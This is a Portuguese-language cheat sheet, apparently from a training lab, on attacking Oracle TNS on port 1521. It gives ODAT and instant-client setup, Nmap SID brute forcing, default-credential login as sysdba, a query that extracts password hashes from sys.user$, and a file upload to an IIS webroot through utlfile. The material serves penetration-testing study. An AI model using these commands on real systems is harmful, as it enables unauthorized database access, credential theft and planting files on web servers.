Oracle TNS - 1521

O servidor Oracle Transparent Network Substrate( TNS) é um protocolo de comunicação que facilita a comunicação entre bancos de dados Oracle e aplicativos em redes.

  • Antes de podermos enumerar o ouvinte TNS e interagir com ele, precisamos baixar alguns pacotes e ferramentas para nossa máquina, caso ela ainda não os tenha. Aqui está um script Bash que faz tudo isso:

#!/bin/bash

sudo apt-get install libaio1 python3-dev alien -y
git clone https://github.com/quentinhardy/odat.git
cd odat/
git submodule init
git submodule update
wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-basic-linux.x64-21.12.0.0.0dbru.zip
unzip instantclient-basic-linux.x64-21.12.0.0.0dbru.zip
wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip
unzip instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip
export LD_LIBRARY_PATH=instantclient_21_12:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH
pip3 install cx_Oracle
sudo apt-get install python3-scapy -y
sudo pip3 install colorlog termcolor passlib python-libnmap
sudo apt-get install build-essential libgmp-dev -y
pip3 install pycryptodome

  • Nmap

sudo nmap -p1521 -sV 10.129.204.235 --open
  • Nmap - Força bruta SID

sudo nmap -p1521 -sV 10.129.204.235 --open --script oracle-sid-brute
  • ODAT - Encontrar credenciais válidas

./odat.py all -s 10.129.204.235
  • SQLplus - Log In

sqlplus scott/tiger@10.129.204.235/XE
  • Se você encontrar o seguinte erro sqlplus: error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory, execute o comando abaixo :

sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf";sudo ldconfig
  • Oracle RDBMS - Interaction

  • select table_name from all_tables; : Listar todas as tabelas disponiveis

  • select * from user_role_privs; : Verificar privilégios

  • Oracle RDBMS - Database Enumeration

sqlplus scott/tiger@10.129.204.235/XE as sysdba
  • Oracle RDBMS - Extract Password Hashes

select name, password from sys.user$;
  • Oracle RDBMS - File Upload

echo "Oracle File Upload Test" > testing.txt
./odat.py utlfile -s 10.129.204.235 -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\wwwroot testing.txt ./testing.txt
  • Podemos testar se a abordagem de upload de arquivo funcionou com curl. Portanto, usaremos uma GET http://<IP>solicitação ou podemos visitar via navegador.

curl -X GET http://10.129.204.235/testing.txt

Last updated